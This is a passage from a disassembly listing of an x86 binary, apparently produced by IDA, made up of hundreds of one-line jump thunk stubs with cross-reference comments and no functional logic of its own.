; _294ADE7B:00407AAFp ...
jmp sub_4073A0
sub_401B9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BA4 proc near ; CODE XREF: sub_4141B0+16p
; sub_4141F0+Bp ...
jmp sub_414E20
sub_401BA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BA9 proc near ; CODE XREF: sub_409160+144p
jmp sub_4094D0
sub_401BA9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BAE proc near ; CODE XREF: sub_404260+1C2p
; sub_404730+36p ...
jmp sub_412160
sub_401BAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB3 proc near ; CODE XREF: sub_413E80+34p
; sub_4148B0+67p
jmp sub_414A50
sub_401BB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BB8 proc near ; CODE XREF: sub_416AE0+275p
jmp sub_409600
sub_401BB8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BBD proc near ; DATA XREF: _8C6BDE73:00437080o
jmp sub_41E1D0
sub_401BBD endp
; ---------------------------------------------------------------------------
jmp loc_429250
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BC7 proc near ; CODE XREF: sub_40B9F0+5p
jmp sub_40BC50
sub_401BC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BCC proc near ; CODE XREF: _294ADE7B:0042C2DFp
; _294ADE7B:0042C2EBp
jmp sub_42A3D0
sub_401BCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD1 proc near ; CODE XREF: sub_420420+11p
; sub_420420+27p ...
jmp sub_4209D0
sub_401BD1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD6 proc near ; DATA XREF: _8C6BDE73:00437048o
jmp sub_411F80
sub_401BD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BDB proc near ; CODE XREF: sub_414530+1Fp
jmp sub_414EB0
sub_401BDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BE0 proc near ; CODE XREF: sub_40E390+1ACp
; sub_40E390+1EDp ...
jmp sub_40E320
sub_401BE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BE5 proc near ; CODE XREF: sub_412B30+15Cp
jmp sub_412E20
sub_401BE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEA proc near ; CODE XREF: sub_404840+23p
; sub_40EB00+13C2p
jmp sub_411410
sub_401BEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEF proc near ; CODE XREF: _294ADE7B:004159CFp
jmp sub_416800
sub_401BEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BF4 proc near ; CODE XREF: sub_4071F0+7p
; sub_40BD60+7p ...
jmp sub_407290
sub_401BF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BF9 proc near ; CODE XREF: sub_40A370+1Ap
; sub_40A420+4p ...
jmp sub_40A3E0
sub_401BF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BFE proc near ; CODE XREF: sub_404260+289p
; sub_404260+2ADp ...
jmp sub_409C00
sub_401BFE endp
; ---------------------------------------------------------------------------
jmp loc_42A450
; ---------------------------------------------------------------------------
jmp loc_429820
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C0D proc near ; CODE XREF: sub_416AE0+C0p
jmp sub_403BE0
sub_401C0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C12 proc near ; CODE XREF: sub_4108D0+123p
; sub_4108D0+1E2p
jmp loc_410FA0
sub_401C12 endp
; ---------------------------------------------------------------------------
jmp loc_419B10
; ---------------------------------------------------------------------------
jmp loc_40B2F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C21 proc near ; CODE XREF: sub_420350+5p
jmp sub_4208B0
sub_401C21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C26 proc near ; CODE XREF: sub_414C00+5Fp
jmp sub_415420
sub_401C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C2B proc near ; CODE XREF: sub_41BE00+2C7p
jmp sub_429BE0
sub_401C2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C30 proc near ; CODE XREF: sub_417260+7p
jmp sub_417500
sub_401C30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C35 proc near ; CODE XREF: sub_412400+5Dp
; sub_412400+9Bp ...
jmp sub_4140D0
sub_401C35 endp
; ---------------------------------------------------------------------------
jmp loc_42FBD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C3F proc near ; CODE XREF: sub_4144C0+16p
; sub_414500+Bp ...
jmp sub_415170
sub_401C3F endp
; ---------------------------------------------------------------------------
jmp loc_40B3E0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C49 proc near ; CODE XREF: sub_42E070+97p
jmp sub_42B800
sub_401C49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C4E proc near ; CODE XREF: sub_420230+16p
; sub_420270+Bp ...
jmp sub_420880
sub_401C4E endp
; ---------------------------------------------------------------------------
jmp loc_427980
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C58 proc near ; CODE XREF: sub_416AE0+1F8p
jmp sub_41AA60
sub_401C58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C5D proc near ; CODE XREF: sub_416FA0+16p
; sub_416FE0+Bp ...
jmp sub_4173E0
sub_401C5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C62 proc near ; CODE XREF: sub_412400+53p
; sub_412400+91p ...
jmp sub_413F30
sub_401C62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C67 proc near ; CODE XREF: sub_421170+56p
jmp sub_425500
sub_401C67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C6C proc near ; CODE XREF: sub_421170+18Ap
jmp sub_425400
sub_401C6C endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C76 proc near ; CODE XREF: sub_414410+11p
; sub_414EB0+1Fp
jmp sub_4150A0
sub_401C76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C7B proc near ; CODE XREF: sub_413EF0+16p
; sub_413F30+Bp ...
jmp sub_414AD0
sub_401C7B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C80 proc near ; CODE XREF: _294ADE7B:004134A3p
jmp sub_413260
sub_401C80 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_4243C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C8F proc near ; CODE XREF: sub_427310+90p
jmp sub_4278C0
sub_401C8F endp
; ---------------------------------------------------------------------------
jmp loc_412EB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C99 proc near ; CODE XREF: sub_42E960+74p
jmp sub_42C990
sub_401C99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C9E proc near ; CODE XREF: sub_41E060+1Dp
jmp sub_40ABD0
sub_401C9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CA3 proc near ; CODE XREF: sub_40A550+45p
jmp sub_40A7D0
sub_401CA3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CA8 proc near ; CODE XREF: sub_42A250+71p
; _294ADE7B:0042A381p ...
jmp loc_42CB30
sub_401CA8 endp
; ---------------------------------------------------------------------------
jmp loc_427250
; ---------------------------------------------------------------------------
jmp loc_42CC00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CB7 proc near ; CODE XREF: sub_40EB00+AE7p
; sub_40EB00+E5Dp
jmp sub_41D440
sub_401CB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CBC proc near ; CODE XREF: sub_40A800+Ap
jmp sub_40A8F0
sub_401CBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CC1 proc near ; CODE XREF: _294ADE7B:00423760p
; sub_4239C0+C3p ...
jmp sub_421D50
sub_401CC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CC6 proc near ; CODE XREF: sub_420550+4p
jmp sub_4209F0
sub_401CC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CCB proc near ; CODE XREF: sub_414EB0+5Ap
jmp sub_4154F0
sub_401CCB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CD0 proc near ; CODE XREF: sub_414A50+7p
jmp sub_415250
sub_401CD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CD5 proc near ; CODE XREF: sub_41BE00+19Bp
jmp sub_427930
sub_401CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDA proc near ; CODE XREF: sub_403BE0+49Ep
; sub_404890+83Bp ...
jmp sub_4111F0
sub_401CDA endp
; ---------------------------------------------------------------------------
jmp sub_411F80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CE4 proc near ; CODE XREF: sub_414140+34p
; sub_414C00+67p
jmp sub_414DA0
sub_401CE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CE9 proc near ; CODE XREF: sub_412400+31p
; sub_413260+2Dp
jmp sub_414060
sub_401CE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CEE proc near ; CODE XREF: _294ADE7B:004225B5p
; _294ADE7B:0042294Cp
jmp sub_4252A0
sub_401CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CF3 proc near ; CODE XREF: sub_414680+3p
jmp sub_415150
sub_401CF3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CF8 proc near ; CODE XREF: sub_404260+97p
; sub_404260+107p ...
jmp sub_409F20
sub_401CF8 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_424990
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D07 proc near ; CODE XREF: _294ADE7B:004223EDp
jmp sub_421F40
sub_401D07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D0C proc near ; CODE XREF: sub_420380+5Ap
jmp sub_4208E0
sub_401D0C endp
; ---------------------------------------------------------------------------
jmp loc_415900
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D16 proc near ; CODE XREF: _294ADE7B:0042D6AFp
jmp sub_42AF50
sub_401D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D1B proc near ; CODE XREF: sub_415330+5p
jmp sub_415580
sub_401D1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D20 proc near ; CODE XREF: sub_404890+28Dp
; sub_41BE00+6A6p
jmp sub_40C8D0
sub_401D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D25 proc near ; CODE XREF: sub_420AE0+5Fp
jmp sub_420CD0
sub_401D25 endp
; ---------------------------------------------------------------------------
jmp loc_418560
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D2F proc near ; CODE XREF: sub_40E390+22p
; sub_4116F0+1Dp ...
jmp sub_40A920
sub_401D2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D34 proc near ; CODE XREF: sub_40A550+112p
; sub_40A550+153p
jmp sub_40A830
sub_401D34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D39 proc near ; DATA XREF: _8C6BDE73:off_4370A0o
jmp sub_4196B0
sub_401D39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D3E proc near ; CODE XREF: sub_414370+3p
jmp sub_414E00
sub_401D3E endp
; ---------------------------------------------------------------------------
jmp loc_424620
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D48 proc near ; CODE XREF: sub_426B70+1Ap
jmp sub_426A30
sub_401D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D4D proc near ; CODE XREF: _294ADE7B:0041582Bp
; _294ADE7B:004338F4j ...
jmp sub_416130
sub_401D4D endp
; ---------------------------------------------------------------------------
jmp loc_42D060
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D57 proc near ; CODE XREF: sub_41E6C0+3Ap
jmp sub_41E8D0
sub_401D57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D5C proc near ; DATA XREF: _8C6BDE73:004370F4o
jmp sub_427310
sub_401D5C endp
; ---------------------------------------------------------------------------
jmp loc_42D9A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D66 proc near ; CODE XREF: sub_4150A0+4p
jmp sub_4154A0
sub_401D66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D6B proc near ; CODE XREF: sub_4145C0+4Fp
; sub_414F50+11p ...
jmp sub_4151A0
sub_401D6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D70 proc near ; CODE XREF: sub_4143E0+5p
jmp sub_414E80
sub_401D70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D75 proc near ; CODE XREF: sub_422F30+151p
jmp sub_422EF0
sub_401D75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D7A proc near ; CODE XREF: sub_414060+3p
jmp sub_414AB0
sub_401D7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D7F proc near ; CODE XREF: sub_413DC0+11p
; sub_413E00+13p ...
jmp sub_414A00
sub_401D7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D84 proc near ; CODE XREF: sub_420030+16p
; sub_420070+Bp ...
jmp sub_420620
sub_401D84 endp
; ---------------------------------------------------------------------------
jmp loc_416E50
; ---------------------------------------------------------------------------
jmp loc_41A920
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D93 proc near ; CODE XREF: sub_417550+18p
; sub_420380+9p
jmp sub_417710
sub_401D93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D98 proc near ; CODE XREF: sub_420C10+Ap
jmp sub_420DB0
sub_401D98 endp
; ---------------------------------------------------------------------------
jmp loc_41A320
; ---------------------------------------------------------------------------
jmp loc_42DA50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DA7 proc near ; CODE XREF: _294ADE7B:0041579Bp
; _294ADE7B:00433972j ...
jmp sub_416430
sub_401DA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DAC proc near ; CODE XREF: sub_40A370+13p
jmp loc_40A4B0
sub_401DAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DB1 proc near ; CODE XREF: sub_416AE0:loc_416C71p
; sub_419700:loc_41974Cp ...
jmp sub_417F70
sub_401DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DB6 proc near ; CODE XREF: sub_412FC0+95p
jmp sub_414220
sub_401DB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DBB proc near ; CODE XREF: sub_414450+34p
; sub_414F50+67p
jmp sub_4150F0
sub_401DBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DC0 proc near ; CODE XREF: sub_414080+3p
; sub_414790+4Fp ...
jmp sub_414A90
sub_401DC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DC5 proc near ; CODE XREF: sub_416AE0+23Dp
jmp sub_4119A0
sub_401DC5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DCA proc near ; CODE XREF: sub_411EB0+4Dp
jmp sub_414100
sub_401DCA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DCF proc near ; CODE XREF: sub_406DA0+5Cp
; sub_417520+3p
jmp sub_406FC0
sub_401DCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DD4 proc near ; CODE XREF: sub_417770+53p
jmp sub_417EC0
sub_401DD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DD9 proc near ; CODE XREF: sub_40BA20+5Ap
jmp sub_40BDB0
sub_401DD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DDE proc near ; DATA XREF: _294ADE7B:004227A4o
jmp loc_422300
sub_401DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DE3 proc near ; CODE XREF: _294ADE7B:004157DBp
; _294ADE7B:0043393Aj ...
jmp sub_416390
sub_401DE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DE8 proc near ; CODE XREF: sub_412900+99p
jmp sub_412AD0
sub_401DE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DED proc near ; CODE XREF: sub_40AEF0+3Dp
; _294ADE7B:0040B68Dp ...
jmp sub_40B260
sub_401DED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DF2 proc near ; CODE XREF: _294ADE7B:loc_422397p
jmp sub_421E10
sub_401DF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DF7 proc near ; CODE XREF: sub_404890+A3Ep
jmp sub_4064B0
sub_401DF7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DFC proc near ; CODE XREF: sub_412740+72p
jmp sub_412400
sub_401DFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E01 proc near ; CODE XREF: sub_416980+5Fp
; sub_416F30+1Ap ...
jmp sub_416FA0
sub_401E01 endp
; ---------------------------------------------------------------------------
jmp loc_42A140
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E0B proc near ; CODE XREF: sub_4295A0+B5p
jmp sub_428460
sub_401E0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E10 proc near ; CODE XREF: sub_40B080+4Bp
; sub_40B080:loc_40B10Bp ...
jmp sub_40B9A0
sub_401E10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E15 proc near ; CODE XREF: sub_416AE0+220p
jmp sub_41C9D0
sub_401E15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E1A proc near ; CODE XREF: sub_409F90+142p
jmp sub_40A370
sub_401E1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E1F proc near ; CODE XREF: sub_404260+35Dp
; sub_404260+39Ep
jmp sub_404730
sub_401E1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E24 proc near ; CODE XREF: sub_414B60+9p
; sub_414C00+18p
jmp sub_415460
sub_401E24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E29 proc near ; CODE XREF: sub_42CCD0+1Bp
jmp sub_42CD80
sub_401E29 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E2E proc near ; CODE XREF: sub_4267F0+1Dp
; sub_426D40+1Dp ...
jmp sub_426BB0
sub_401E2E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E33 proc near ; CODE XREF: _294ADE7B:00425E26p
; _294ADE7B:00425E43p ...
jmp sub_425960
sub_401E33 endp
; ---------------------------------------------------------------------------
jmp loc_406880
; ---------------------------------------------------------------------------
jmp loc_40C1F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E42 proc near ; CODE XREF: sub_409160+112p
; sub_409160+153p
jmp sub_4094A0
sub_401E42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E47 proc near ; CODE XREF: sub_420CD0+5p
jmp sub_420E40
sub_401E47 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E4C proc near ; CODE XREF: sub_406FF0+5p
jmp sub_4071A0
sub_401E4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E51 proc near ; CODE XREF: sub_412400+6Fp
; sub_412400+DBp ...
jmp sub_414080
sub_401E51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E56 proc near ; CODE XREF: sub_413FA0+5Ep
; sub_414970+32p
jmp sub_4148B0
sub_401E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E5B proc near ; CODE XREF: sub_416AE0+14Ap
jmp sub_40DDC0
sub_401E5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E60 proc near ; CODE XREF: sub_411410+3p
jmp sub_411440
sub_401E60 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E65 proc near ; CODE XREF: sub_404260+48p
; sub_404260+5Dp ...
jmp sub_409880
sub_401E65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6A proc near ; DATA XREF: _8C6BDE73:off_43706Co
jmp sub_418020
sub_401E6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6F proc near ; CODE XREF: sub_4187B0+3p
; sub_4196E0+9j ...
jmp sub_4187E0
sub_401E6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E74 proc near ; CODE XREF: sub_40B810+34p
; sub_40BC80+67p
jmp sub_40BBA0
sub_401E74 endp
; ---------------------------------------------------------------------------
jmp loc_42D830
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E7E proc near ; CODE XREF: sub_416AE0+180p
jmp sub_40DE40
sub_401E7E endp
; ---------------------------------------------------------------------------
jmp loc_42FE30
; ---------------------------------------------------------------------------
loc_401E88: ; DATA XREF: _8C6BDE73:0043703Co
jmp loc_41D380
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E8D proc near ; CODE XREF: _294ADE7B:0041DE8Ap
jmp sub_41E510
sub_401E8D endp
; ---------------------------------------------------------------------------
jmp loc_42B520
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E97 proc near ; CODE XREF: _294ADE7B:0041594Fp
jmp sub_411EB0
sub_401E97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E9C proc near ; CODE XREF: sub_420150+5p
jmp sub_420650
sub_401E9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EA1 proc near ; CODE XREF: _294ADE7B:0041FC24p
jmp sub_41A670
sub_401EA1 endp
; ---------------------------------------------------------------------------
off_401EA6 dd offset byte_49D5E9 ; DATA XREF: _8C6BDE73:off_437008o
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EAB proc near ; CODE XREF: sub_404260+2CEp
; sub_404890+472p ...
jmp sub_40A1D0
sub_401EAB endp
; ---------------------------------------------------------------------------
jmp loc_42E2A0
; ---------------------------------------------------------------------------
jmp sub_419A70
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EBA proc near ; CODE XREF: sub_420A40+Ap
jmp sub_420D20
sub_401EBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EBF proc near ; CODE XREF: sub_403BE0+454p
; sub_404890+7EAp ...
jmp sub_41A020
sub_401EBF endp
; ---------------------------------------------------------------------------
loc_401EC4: ; DATA XREF: _8C6BDE73:off_437014o
jmp loc_40A940
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EC9 proc near ; CODE XREF: _294ADE7B:0040A943p
; sub_4114E0+13Ep ...
jmp sub_40A970
sub_401EC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ECE proc near ; CODE XREF: sub_422F30+109p
; sub_422F30+178p ...
jmp sub_422E10
sub_401ECE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ED3 proc near ; CODE XREF: sub_409440+7p
jmp sub_409530
sub_401ED3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ED8 proc near ; CODE XREF: sub_4153F0+Ap
jmp sub_415600
sub_401ED8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EDD proc near ; CODE XREF: _294ADE7B:0042A08Bp
; sub_42AF70+EAp
jmp sub_42E1B0
sub_401EDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EE2 proc near ; CODE XREF: sub_420030+5p
; sub_420120+6p ...
jmp sub_4205C0
sub_401EE2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EE7 proc near ; CODE XREF: sub_40EB00+8ADp
; sub_40EB00+95Ep ...
jmp sub_411820
sub_401EE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EEC proc near ; CODE XREF: sub_40BBA0+7p
jmp sub_40BD90
sub_401EEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EF1 proc near ; CODE XREF: sub_416F30+34p
; sub_417550+67p
jmp sub_417360
sub_401EF1 endp
; ---------------------------------------------------------------------------
jmp loc_409670
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EFB proc near ; CODE XREF: sub_415B70+2Bp
; sub_415B70+3Bp ...
jmp sub_403B00
sub_401EFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F00 proc near ; CODE XREF: sub_409330+14p
jmp sub_409390
sub_401F00 endp
; ---------------------------------------------------------------------------
jmp loc_42D170
; ---------------------------------------------------------------------------
jmp sub_426860
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F0F proc near ; CODE XREF: sub_416980+4Dp
jmp sub_417060
sub_401F0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F14 proc near ; CODE XREF: sub_413EF0+5p
; sub_4140A0+6p ...
jmp sub_414A70
sub_401F14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F19 proc near ; CODE XREF: sub_426860+3p
jmp sub_426890
sub_401F19 endp
; ---------------------------------------------------------------------------
jmp loc_419790
; ---------------------------------------------------------------------------
jmp loc_41FBF0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F28 proc near ; CODE XREF: _294ADE7B:0041591Fp
jmp sub_406CE0
sub_401F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F2D proc near ; CODE XREF: sub_412400+83p
; sub_413260+91p ...
jmp sub_4140A0
sub_401F2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F32 proc near ; DATA XREF: _8C6BDE73:00437060o
jmp sub_41D500
sub_401F32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F37 proc near ; CODE XREF: sub_40A550+144p
jmp sub_40A860
sub_401F37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F3C proc near ; CODE XREF: sub_42B0F0+BAp
; sub_42DB20+36p
jmp sub_42DB90
sub_401F3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F41 proc near ; CODE XREF: sub_4204C0+23p
; sub_420910+11p
jmp sub_420AB0
sub_401F41 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F46 proc near ; CODE XREF: sub_4207B0+4p
jmp sub_420BC0
sub_401F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F4B proc near ; CODE XREF: _294ADE7B:004188E2p
jmp sub_418980
sub_401F4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F50 proc near ; CODE XREF: sub_4154F0+Ap
jmp sub_415650
sub_401F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F55 proc near ; CODE XREF: sub_414A00+4p
jmp sub_415220
sub_401F55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5A proc near ; CODE XREF: sub_42A620+36p
; sub_42A690+28p ...
jmp sub_42E960
sub_401F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5F proc near ; CODE XREF: sub_4173E0+8p
jmp sub_417680
sub_401F5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F64 proc near ; CODE XREF: sub_416E80+34p
; sub_417440+67p
jmp sub_417260
sub_401F64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F69 proc near ; CODE XREF: sub_418DA0+117p
jmp sub_419CC0
sub_401F69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F6E proc near ; CODE XREF: sub_414830+35p
jmp sub_415300
sub_401F6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F73 proc near ; CODE XREF: sub_404890+45Cp
; sub_406300+43p ...
jmp sub_409720
sub_401F73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F78 proc near ; CODE XREF: sub_40B880+5p
; sub_40B9C0+6p ...
jmp sub_40BBC0
sub_401F78 endp
; ---------------------------------------------------------------------------
jmp loc_42A750
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F82 proc near ; CODE XREF: _294ADE7B:004159FAp
jmp sub_417770
sub_401F82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F87 proc near ; CODE XREF: sub_40EB00+F3Dp
; sub_40EB00+1392p ...
jmp sub_413560
sub_401F87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F8C proc near ; CODE XREF: sub_412740+38p
; sub_412B30+5Fp
jmp sub_4122A0
